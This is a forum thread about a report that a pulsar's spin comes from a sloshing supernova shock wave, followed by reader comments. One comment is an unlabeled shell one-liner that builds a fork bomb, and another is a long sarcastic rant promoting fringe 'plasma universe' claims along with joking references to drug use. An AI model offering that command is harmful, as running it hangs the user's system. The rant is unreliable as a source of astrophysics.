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How a Pulsar Gets Its Spin
brian0918 writes "Until now, the assumption has been that the rapid spin of a pulsar comes from the spin of the original star. The problem was that this only explained the fastest observed pulsars. Now, researchers at Oak Ridge have shown that the spin of a pulsar is determined by the shock wave created when the star's massive iron core collapses. From the article: 'That shock wave is inherently unstable, and eventually becomes cigar-shaped instead of spherical. The instability creates two rotating flows — one in one direction directly below the shock wave and another, inner flow, that travels in the opposite direction and spins up the core. The asymmetrical flows establish a 'sloshing' motion that accounts for the pulsars' observed spin velocities from once every 15 to 300 milliseconds.'"
I can see why the War on Drugs bothers you so much.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's spinning because gravity rules, man! That's what they taught us in astrophysics class, or PE or something ... that even though plasma fills all of space and it consists of charged particles, it doesn't actually *do* anything. It *can't* be true that those charged particles in plasma might interact with one another en masse as plasma does in order to move charged particles through fields or voltage differentials in space, or that diffuse flows of energy might exist within the universe. There's no way. That would be lamerz! Definitely, before I'd consider something like that, I'd try to figure out some invisible matter that can pull the arms of spiral galaxies just enough to make them rotate with the rest of the plasma (dark matter) -- even though common sense would say that the large majority of the matter is at the center of the galaxy. And even though it really doesn't make much sense, I'd probably also bet that there are particles that gravitationally *repel* one another (dark energy). But, even though electricity over plasma can actually already do both attraction and repulsion, and even though space *is* plasma, it really *has* to be gravity that does that stuff and there *must* be particles there *somewhere*. I mean, that's what everybody *else* believes. This is ***SLASH-D0T***. And the scientists and those inventors can do *everything* these days. I mean, I heard that they saw stars that spin at the rate of a dentist's drill. And these dark hole things that suck everything in, but they can also have jets where all of that stuff that's sucked in can sometimes come back out and stuff. I wonder what it would be like to go there. Imagine if you had like these two black holes and there were these different dimensions and there was a string that connected them ... ! ... Wouldn't that be cool? We should test it out first with our cat though before we try it ourselves ...
... AM I IN IT? I know. I know ... Crazy, huh?!
I like astronomy. It's very creative. It makes you wonder, like, what's out there? What *is* the universe? Somebody once told me that it was made of plasma, but they also said that in order to make their homework easier, they were allowed to assume that the plasma had no resistance and could not carry currents, and that it was a fluid. It was weird because this isn't *anything* like what real plasma is. Those kids did a lot less homework. But they were kind of weird. They were all alike, and would tell people that they knew *everything*, and they wouldn't really listen when *you* tried to say something. I didn't want to hang out with them, but there were so *many* of them. I heard about these other playgrounds where these really cool people hung out where people didn't all try to be exactly alike and there were lots of smart people and stuff. I think it was a long time ago though.
You wanna hear something fucked up?! I *heard* that we can only see and interact with 4% of the matter of the universe. I know dude!!!!!! It's COM-PLETE-LY crazy! I mean, what *is* that other stuff, man? You know it's OUT THERE!!!!!!!!!!!!! Ha! And you know, sometimes when I'm driving all by myself down the road, and I'm really fucked up on shrooms, I start to wonder
You know, the other day, I was hanging out in my apartment by myself and my furniture all started to move towards one another. No, I wasn't trippin! Good one. No, that's *exactly* what they said happens with gravitational collapse. Matter will just be, like, hanging out and suddenly -- like BAM! -- or maybe slowly or something, when everything else is not happening in a vacuum that can disturb the process and stuff for like millions of years -- things start forming clumps. I was thinking of actually designing a new whippets dispenser that works like this -- you just put a dispenser in open air next to a bubble of nitrous oxide and it will condense and then you inhale. Cool, huh? I invented it
"A man cannot begin to learn that which he thinks he already knows." --Epictetus, 1st Century A.D.